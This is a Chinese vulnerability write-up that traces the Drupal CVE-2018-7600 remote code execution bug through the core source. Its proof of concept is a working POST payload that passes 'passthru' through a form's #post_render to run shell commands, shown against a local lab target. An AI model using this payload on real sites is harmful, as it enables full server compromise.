最好的CMS之一

0x00 漏洞概述

Drupal远程代码执行漏洞复现_php

编号为CVE-2018-7600

Drupal是用PHP开发的开源内容管理框架(CMF),由内容管理系统(CMS)和PHP开发框架(Framework)共同组成。

Drupal的问题稍显常规,来自call_user_func()函数。使用Seay源代码审计系统时就会提示可能导致代码执行。Drupal Render API对于#有特殊的处理,攻击者可利用Drupal表单渲染的问题执行恶意代码,达到完全控制。

影响版本:Drupal 6.x、Drupal 7.x、Drupal 8.x

0x01 漏洞源码

选用了Drupal 8.3.0 Core的源码进行审计。

Drupal远程代码执行漏洞复现_ajax_02

追踪函数

首先追踪call_user_func()函数。整个项目也就用了一百多次,这一处用于render的就是存在问题的:

Drupal远程代码执行漏洞复现_PHP_03

503行的call_user_func()函数会把第一个参数作为回调函数,之后的参数作为回调函数的参数。向上看去,498行开始说明标签#post_render是用户可控的,这就导致了$elements$callable都是可控的了。

追踪调用链

调用溯源,向上追溯到doRender方法,再到render方法……最后可知调用链为:

  1. FormBuilder.php中的buildForm
  2. ManagedFile.php中的uploadAjaxCallback
  3. NestedArray.php中的getValue
  4. Renderer.php中的renderRoot
  5. 向下,render
  6. 向下,doRender
  7. 向下,call_user_func

uploadAjaxCallback

由于buildForm就是用来接收参数的,没有研究价值,于是直接看uploadAjaxCallback

Drupal远程代码执行漏洞复现_RCE_04

这里的$form作为参数传入,并在179行使用getValue()处理。getValue()的第二个参数form_parents是通过get()方法(见176行)获取、经过/分割得到的。这两个参数又都是可控的。

getValue

继续深入到getValue函数。getValue是对数据进行了一些预处理,包括遍历、判断、赋值。

Drupal远程代码执行漏洞复现_Drupal_05

Renderer.php中的几处

完成处理并返回后,$form又进入renderRoot(见ManagedFile.php的193行)。

Renderer.php中,进入render方法(139行):

Drupal远程代码执行漏洞复现_Drupal_06

再进入doRender,位于195行:

Drupal远程代码执行漏洞复现_Drupal_07

经过几百行的if判断,来到503行有问题的call_user_func

0x02 POC

这里利用的是注册表单(还有若干处可填写的表单可以利用),这种表单在系统中是renderable的。

提交的mail数组还挺复杂,独独是没有对其输入值类型进行清洗,允许了攻击者传入数组装载函数名与函数参数。

Drupal远程代码执行漏洞复现_RCE_08

Drupal远程代码执行漏洞复现_ajax_09

POST URL:

[靶机URL]/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax

POST数据:

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls -l /tmp

0x03 利用流程

访问靶机

该镜像是已经完成部署了的,实际上前序还包括数据库配置等工作。

Drupal远程代码执行漏洞复现_php_10

选择注册新账户

Drupal远程代码执行漏洞复现_PHP_11

BurpSuite抓包改包

可以先随便填写提交一次,方便得到包体格式。

Drupal远程代码执行漏洞复现_PHP_12

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax  HTTP/1.1
Host: 127.0.0.1:56489
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:56489
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://127.0.0.1:56489/user/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 115

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=ls -l /tmp

注意:标明了Content-Type,使POST Body的格式相对简单,避免了原来的大量分隔符形式。

至此大功告成。